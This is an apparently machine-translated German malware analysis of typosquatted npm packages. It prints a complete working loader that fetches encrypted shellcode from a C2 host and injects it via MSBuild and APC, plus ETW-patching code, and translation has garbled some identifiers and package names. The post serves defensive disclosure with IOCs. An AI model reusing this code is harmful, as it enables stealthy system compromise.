Am 30. Dezember erregte eine plötzliche Flut neuer npm-Pakete eines einzelnen Autors unsere Aufmerksamkeit. Unsere Analyse-Engine kennzeichnete mehrere davon kurz nach ihrem Erscheinen als verdächtig. Wir bezeichnen diesen Kampagnen-/Bedrohungsakteur als „NeoShadow“, basierend auf einer gemeinsamen Kennung, die in seiner Stage-2-Nutzlast zu finden ist. Die identifizierten Pakete waren:
- viem-js
- Cyrpto
- Heckflügel
- supabase-js

Alle wurden vom Benutzer freigegeben. cjh97123Es handelt sich dabei um Typo-Squatting-Pakete, was nichts Neues ist. Aber wir waren amüsiert über die eigentliche Malware, die wir darin gefunden haben. Wir stellten nicht nur fest, dass die Verschleierung mit gängigen Tools nicht leicht zu entschlüsseln war, sondern konnten auch erkennen, dass die Malware ziemlich neuartige Dinge tat. Also machten wir uns daran, unsere Entschlüsselungs-Toolketten erneut zu verbessern und dieser Malware auf den Grund zu gehen.
Stufe 0 – Bösartiges JS auf npm
Der erste Teil unserer Untersuchung beginnt mit dieser Setup-Datei, aber seien Sie gewarnt: Sie wird uns bald in seltsame und wundersame Gefilde führen. Diese JavaScript-Datei, die sich in allen Paketen unter scripts/setup.js befindet, dient als mehrstufiger Loader, der nur unter Windows läuft. Ihr Verhalten lässt sich in folgenden aufeinanderfolgenden Schritten zusammenfassen:
1️⃣ Plattform- und Umgebungsvalidierung
- 🪟 Bestätigt die Ausführung unter Windows
- 🧪 Wendet eine Anti-Analyse-Heuristik an, indem Windows-Systemereignisprotokolleinträge gezählt werden.
- 🚫 Beendet frühzeitig in Umgebungen mit geringer Aktivität oder sandboxähnlichen Umgebungen
2️⃣ Dynamische Konfiguration über Blockchain
- ⛓️ Abfrage eines Ethereum-Smart-Contracts mithilfe der eth_call-API von Etherscan
- 📤 Extrahiert eine dynamisch gespeicherte Zeichenfolge aus On-Chain-Daten.
- 🌐 Behandelt den dekodierten Wert als C2-Basis-URL.
- 🔁 Greift auf eine fest codierte Domain zurück, wenn die Ketten-Suche fehlschlägt.
3️⃣ Verdeckte Erfassung der Nutzlast
- 📡 Fordert eine Remote-JavaScript-Datei an, die sich als Analyse-Datei tarnt.
- 🫥 Findet einen Base64-kodierten Blob, der in einem Blockkommentar versteckt ist.
- 📦 Verwendet den Kommentar ausschließlich als container, nicht als ausführbaren Code.
4️⃣ Ausführung „Living-off-the-Land” (MSBuild)
- 🛠️ Schreibt eine temporäre MSBuild-Projekt (
.proj) Datei - 🧬 Bettet Inline-C#-Code mithilfe von CodeTaskFactory ein.
- 🚫 Wird ausgeführt, ohne eine eigenständige ausführbare Datei zu erstellen oder zu kompilieren.
- 🧾 Verwendet eine vertrauenswürdige Windows-Binärdatei (MSBuild.exe)
5️⃣ Entschlüsselung der Nutzlast
- 🔐 Dekodiert die Base64-Nutzlast
- 🔑 Leitet einen RC4-Schlüssel durch XOR-Maskierung der ersten 16 Bytes ab.
- 🔓 Entschlüsselt die verbleibende Nutzlast im Speicher.
6️⃣ Prozessinjektion und -ausführung
- 🧠 Startet RuntimeBroker.exe in einem angehaltenen Zustand.
- 💉 Weist Speicher im Remote-Prozess zu
✍️ Schreibt entschlüsselten Shellcode - ⚡ Führt über aus APC-Injektion (
QueueUserAPC+LebenslaufThread)
7️⃣ Sekundäre Artefaktbereitstellung
- 📥 Lädt optional eine Folge-Konfigurationsdatei herunter.
- 📁 Speichert es unter:
%APPDATA%\Microsoft\CLR\config.proj
Das ist eine ganze Menge. Wenn Sie neugierig sind, hier ist der tatsächliche Code nach unserer Entschlüsselung:
const {
execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
const _0x40ca65 = require("https");
return new Promise(_0x18a121 => {
_0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
const _0x5a6f92 = {
xSUuD: function (_0x8e23dc, _0x473cc1) {
return _0x8e23dc !== _0x473cc1;
},
kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
return _0x291b51(_0x45ee39, _0x314df2);
},
TSNUY: function (_0x551c1c, _0xa10773) {
return _0x551c1c * _0xa10773;
},
IxNWN: function (_0x5bf459, _0x3b5803) {
return _0x5bf459 < _0x3b5803;
},
TNyat: function (_0x2a4142, _0x55bc29) {
return _0x2a4142 + _0x55bc29;
},
jmkEP: "http",
bpmxg: function (_0x596591, _0x2230d0) {
return _0x596591(_0x2230d0);
}
};
let _0x44c1fc = "";
_0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
_0xc12477.on("end", () => {
try {
const _0x19ede0 = JSON.parse(_0x44c1fc);
if (_0x19ede0.result && _0x19ede0.result !== "0x") {
const _0x501fdb = _0x19ede0.result.slice(2);
const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
let _0x2d977d = "";
for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
_0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
}
if (_0x2d977d.startsWith("http")) {
_0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
return;
}
}
} catch (_0x34b9f3) {}
_0x18a121(null);
});
}).on("error", () => _0x18a121(null));
});
}
function a0_0x1c5097() {
if (a0_0x363405.platform() !== "win32") return false;
try {
const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
encoding: "utf8",
windowsHide: true,
timeout: 10000
}).trim();
return parseInt(_0x5962fa, 10) >= 3000;
} catch (_0x3c40cc) {
return false;
}
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
const _0x1d3b60 = a0_0x363405.tmpdir();
const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n byte[] s = new byte[256];\n for (int i = 0; i < 256; i++) s[i] = (byte)i;\n int j = 0;\n for (int i = 0; i < 256; i++) {\n j = (j + s[i] + key[i % key.Length]) & 0xFF;\n byte t = s[i]; s[i] = s[j]; s[j] = t;\n }\n byte[] o = new byte[data.Length];\n int x = 0, y = 0;\n for (int k = 0; k < data.Length; k++) {\n x = (x + 1) & 0xFF;\n y = (y + s[x]) & 0xFF;\n byte t = s[x]; s[x] = s[y]; s[y] = t;\n o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n }\n return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n byte[] key = new byte[16];\n for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n byte[] enc = new byte[payload.Length - 16];\n Array.Copy(payload, 16, enc, 0, enc.Length);\n return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
try {
a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
windowsHide: true,
timeout: 30000,
stdio: "ignore"
});
} catch (_0x48f097) {}
try {
a0_0x651569.unlinkSync(_0x112a23);
} catch (_0x245ac6) {}
return true;
}
async function a0_0x46b335() {
if (a0_0x363405.platform() !== "win32") return;
if (!a0_0x1c5097()) return;
try {
const _0x2186b3 = require("https");
let _0x6212ce = await a0_0x2da91a();
if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
_0x2186b3.get(_0xe78890, _0x891520 => {
let _0x470b55 = "";
_0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
_0x891520.on("end", () => _0x3a7450(_0x470b55));
}).on("error", _0x340a89);
});
const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
Dadurch können wir die Logik besser nachvollziehen. Es handelt sich um einen neuartigen Ansatz, bei dem MSBuild und C#-Code zum Einsatz kommen. Wie in der anderen Version wird versucht, die Nutzlast von https://metrics-flow[.]com/assets/js/analytics.min.js und entschlüsseln Sie es mit einem RC4-Schlüssel.
Stufe 1 – Was ist MSBuild?
Eine Sache, die Ihnen im Code auffallen wird, ist, dass er versucht, die Datei _next/data/config.json aus der C2-Domäne. Also habe ich es abgerufen und es gab eine schönere Version des MSBuild-Skripts zurück:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);
static byte[] RC4(byte[] data, byte[] key) {
byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
byte[] o = new byte[data.Length]; int x = 0, y = 0;
for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
return o;
}
static string GetC2FromEth(string contract, string apiKey) {
if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
try {
var w = new WebClient();
var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
var json = w.DownloadString(url);
var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
if (!m.Success) return null;
var hex = m.Groups[1].Value.Substring(2);
if (hex.Length < 130) return null;
var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
if (strLen <= 0 || strLen > 500) return null;
var strHex = hex.Substring(128, strLen * 2);
var chars = new char[strLen];
for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
var c2 = new string(chars);
return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}
public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;
var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);
SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>Dadurch können wir die Logik besser nachvollziehen. Es handelt sich um einen neuartigen Ansatz, bei dem MSBuild und C#-Code zum Einsatz kommen. Wie in der anderen Version wird versucht, die Nutzlast von https://metrics-flow[.]com/assets/js/analytics.min.js und entschlüsseln Sie es mit einem RC4-Schlüssel.
Stufe 2 – Shellcode-Analyse
An dieser Stelle waren wir natürlich neugierig, was den Aufwand hinter einem solch neuartigen Liefermechanismus rechtfertigte. Nach der Entschlüsselung der Nutzlast stellten wir fest, dass sie wie erwartet Shellcode enthielt.
Beim Durchsuchen der Rohdaten der entschlüsselten Nutzlast fielen uns sofort zwei Namen ins Auge: NeoShadowV2Schlüsselableitung2026 und Global\NSV2_8e4b1dDie Verbindung zwischen ihnen ist kaum zu übersehen. NS ist eine natürliche Abkürzung für NeoShadowund beide Zeichenfolgen haben denselben V2 Marker. Zusammengenommen wirken diese nicht zufällig oder generisch, sondern eher wie interne Bezeichnungen der Autoren. Aufgrund dieser Konsistenz bezeichnen wir den hinter dieser Aktivität stehenden Bedrohungsakteur als NeoShadowDie Verwendung derselben Benennung in kryptografischen Routinen und Ausführungskontrollen verleiht der Malware eine eindeutige Identität und deutet eher auf ein bewusst versioniertes, aktiv gepflegtes Toolset hin als auf ein einmaliges Experiment.
Anschließend haben wir den Shellcode durch Binary Ninja laufen lassen, wodurch sofort eine halbwegs lesbare C-Version erzeugt wurde. Nur... Es sind 4000 Zeilen hässliches C. 🥹

Also haben wir das an Claude weitergegeben, um eine sauberere Version zu erhalten. Und tatsächlich wurde eine schöne und lesbare 1900-Zeilen-Version des C-Codes generiert. Damit kommen wir zum nächsten Teil unseres Abenteuers.
Stufe 3 – Eine Ratte im Bau
Die endgültige Nutzlast ist eine voll ausgestattete Backdoor, die für den langfristigen Zugriff entwickelt wurde. Sobald sie ausgeführt wird, tritt sie in eine Beacon-Schleife ein, meldet sich beim C2-Server, übermittelt Systeminformationen und fragt nach Befehlen. Das Implantat ist bewusst leichtgewichtig gestaltet: Es stellt den Zugriff her und bietet eine Ausführungsprimitive, während alle Post-Exploitation-Funktionen als Einwegmodule nachgeladen werden.
Beacon-Verhalten
- 📡 Sendet verschlüsselte Check-ins über HTTPS POST
- 🪪 Enthält Host-Fingerabdruck: Computername, Benutzername, Agent-ID
- 🔀 Randomisiert URL-Pfade, um legitimen Datenverkehr zu imitieren (
/assets/js/,/api/v1/,/wp-content/usw.) - 🏷️ Tags-Anfragen mit benutzerdefinierten
X-Agent-IDKopfzeile für die Verfolgung von Opfern - ⏱️ Unterstützt konfigurierbares Schlafintervall mit Jitter (Standardwert 20 %)
Verschlüsselung
Der gesamte C2-Datenverkehr wird mit ChaCha20 verschlüsselt, einer aufgrund ihrer Geschwindigkeit und Sicherheit bevorzugten Stromverschlüsselung. Die Schlüssel werden über Curve25519 ECDH festgelegt.
Befehlssatz
Den Bedienern stehen drei Befehle zur Verfügung:
Schlaf
- ⏰ Passt das Beacon-Intervall spontan an
- 🔇 Lassen wir die Betreiber während der Persistenzphasen ruhig bleiben oder beschleunigen wir sie für eine aktive Beteiligung.
Modul
- 🌐 Ruft Nutzdaten von einer URL ab
- 📦 Wenn es sich um eine DLL handelt: lokalisiert
Reflektierender Laderexportieren, injizieren, ohne die Festplatte zu berühren - 💉 Wenn es sich um Shellcode handelt: wird direkt in
RuntimeBroker.exeüber APC-Injektion - 🧰 Primärer Mechanismus für den Einsatz von Post-Exploitation-Tools
injizieren
- 🔤 Akzeptiert Base64-kodierten Shellcode direkt im Befehl
- 🔒 Bewahrt alles im verschlüsselten C2-Kanal auf
- ⚡ Gleicher Injektionspfad wie beim Modul, nur ohne Netzwerkabruf
Antwortbearbeitung
- ✅ Gibt bei Erfolg „OK“ oder „DLL OK“ zurück.
- ❌ Beschreibungsfehler: Fehler: Zuweisung, Fehler: Abruf, Fehler: Dekodierung, Fehler: Einfügen, Fehler: nicht PE
- 📤 Injizierte DLLs können in einen gemeinsam genutzten Puffer schreiben, der in der Antwort exfiltriert wird.
- 🔁 Die gesamte Kommunikation verwendet dieselbe ChaCha20-Verschlüsselung wie der Beacon.
Dieser winzige, minimalistische Remote Access Trojan (RAT) ist ziemlich clever. Seine einzige Funktion besteht darin, eine dauerhafte C2-Verbindung herzustellen und als First-Stage-Loader für leistungsfähigere Malware zu fungieren. Dies bietet Angreifern einen flexiblen, unauffälligen Einstiegspunkt, um sekundäre Tools (z. B. Keylogger oder Ransomware) einzusetzen und den Angriff nach Belieben zu eskalieren.
Interessante Funktionen
Die Malware enthält einige clevere Funktionen, um sich selbst und ihren C2-Server zu verbergen, die wir im Folgenden beschreiben.
🙈Den Host blenden: ETW-Patching
Event Tracing for Windows ist das Nervensystem der modernen Windows-Telemetrie. Wenn eine .NET-Assembly geladen wird, erkennt ETW dies. Wenn PowerShell einen Skriptblock ausführt, protokolliert ETW dies. Wenn ein Prozess gestartet wird, ein Thread erstellt wird, eine DLL geladen wird oder eine Netzwerkverbindung hergestellt wird, werden ETW-Ereignisse ausgegeben, die von Sicherheitsprodukten verarbeitet werden. Sicherheitsplattformen, darunter EDR-Lösungen (Endpoint Detection and Response) und SIEM-Tools, stützen sich bei der Erkennung stark auf ETW. Die Deaktivierung von ETW beeinträchtigt die Sichtbarkeit dieser Sicherheitstools erheblich. Beachten Sie, dass dies keine neue Technik ist, sondern seit Jahren bekannt ist.
Das Implantat tut genau das. Bevor es eine C2-Kommunikation herstellt oder verdächtige Aktivitäten ausführt, lokalisiert es NtTraceEvent in ntdll.dll, die Low-Level-Funktion, über die letztendlich alle ETW-Ereignisausgaben geleitet werden. Sie löst die Adresse über ihre standardmäßige Hash-basierte API-Auflösung (Hash) auf. 0xDECFC1BF), ruft dann VirtualProtect um den Speicher der Funktion beschreibbar zu machen:
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);
DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);Mit Schreibzugriff überschreibt es die ersten vier Bytes der Funktion mit einem einfachen Stub, der ohne weitere Aktionen einen Erfolg zurückgibt:
// Before patching
NtTraceEvent:
4c 8b d1 mov r10, rcx
b8 XX XX 00 00 mov eax, <syscall#>
0f 05 syscall
c3 ret
// After patching
NtTraceEvent:
48 33 c0 xor rax, rax ; rax = 0 (STATUS_SUCCESS)
c3 ret ; return immediatelyDas ist alles. Vier Bytes, 48 33 C0 C3und alle ETW-Ereignisse im System werden nicht mehr ausgelöst. Die Funktion kehrt zurück. STATUS_ERFOLG So kommt es nicht zu Fehlern oder Wiederholungsversuchen bei Anrufern, aber es gelangen keine Ereignisse zum Kernel. Sicherheitsprodukte, die ETW-Anbieter abfragen, erhalten keine Antwort.
🙈C2 Server-Tarnung
Also haben wir uns die C2-Domäne angesehen. metrics-flow[.]com, und wir haben herzlich über den Versuch der Angreifer gelacht, sich zu tarnen. Sie haben eine clevere Sicherheitsschicht eingebaut, die automatisierte Tools und menschliche Forscher abschütteln soll. Wenn man die Hauptseite aufruft, sieht man nie zweimal dasselbe. Stattdessen gibt der Server eine völlig zufällige Auswahl an gefälschten Inhalten aus, sodass die Website wie eine ganz normale, harmlose Website aussieht. Sehr clever, und es wird Forschern in Zukunft leicht fallen, die C2-Server zu identifizieren. 😀



C2-Domäne
Die C2-Domain wurde etwa zur gleichen Zeit registriert, als die Malware erstmals auf npm veröffentlicht wurde, nämlich am 30. Dezember 2025, wie aus den WHOIS-Informationen hervorgeht:

Änderungen in Version 2
Alle bisherigen Analysen basieren auf der am 30. Dezember 2025 bereitgestellten Version. Eine weitere Version der Pakete wurde am 2. Januar 2026 bereitgestellt. Die auffälligste Änderung ist, dass eine Windows-Ausführungsdatei, Analytik.Knotenist ebenfalls enthalten. Wir haben festgestellt, dass kein AV auf VirusTotal es als bösartig erkannt hat:

Darüber hinaus wurde die JavaScript-Datei anders verschleiert und ist schwieriger zu entschlüsseln als die Originalversion, da die Veröffentlichung offenbar neue Verschleierungstechniken enthält.
Wir erhalten auch einen weiteren Hinweis darauf, dass das Projekt NeoShadow heißt: C:\Benutzer\admin\Desktop\NeoShadow\core\loader\native\build\Release\analytics.pdb
Fazit
Zum jetzigen Zeitpunkt haben wir noch nicht versucht, eine dynamische Nutzlast vom C2-Server abzurufen. Wir haben jedoch eindeutig einen gut durchdachten Versuch festgestellt, eine unserer Meinung nach neuartige Malware als Teil einer größeren, bisher undokumentierten Kampagne zu verbreiten, die über einen eigenen C2-Server, RAT, einen Liefermechanismus und Tarntechniken verfügt, um ihren C2-Server zu verbergen.
🚨 Anzeichen für eine Kompromittierung
- Domäne:
metrics-flow[.]com - IP-Adresse:
80.78.22[.]206 - Binär:
012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07 - Ethereum-Adresse:
0x13660FD7Edc862377e799b0Caf68f99a2939B5cC - Mutex-Name:
Global\NSV2_8e4b1d - NPM-Pakete:
viem-jsCyrptoHeckflügelsupabase-js
Sichern Sie Ihre Software jetzt.



.avif)
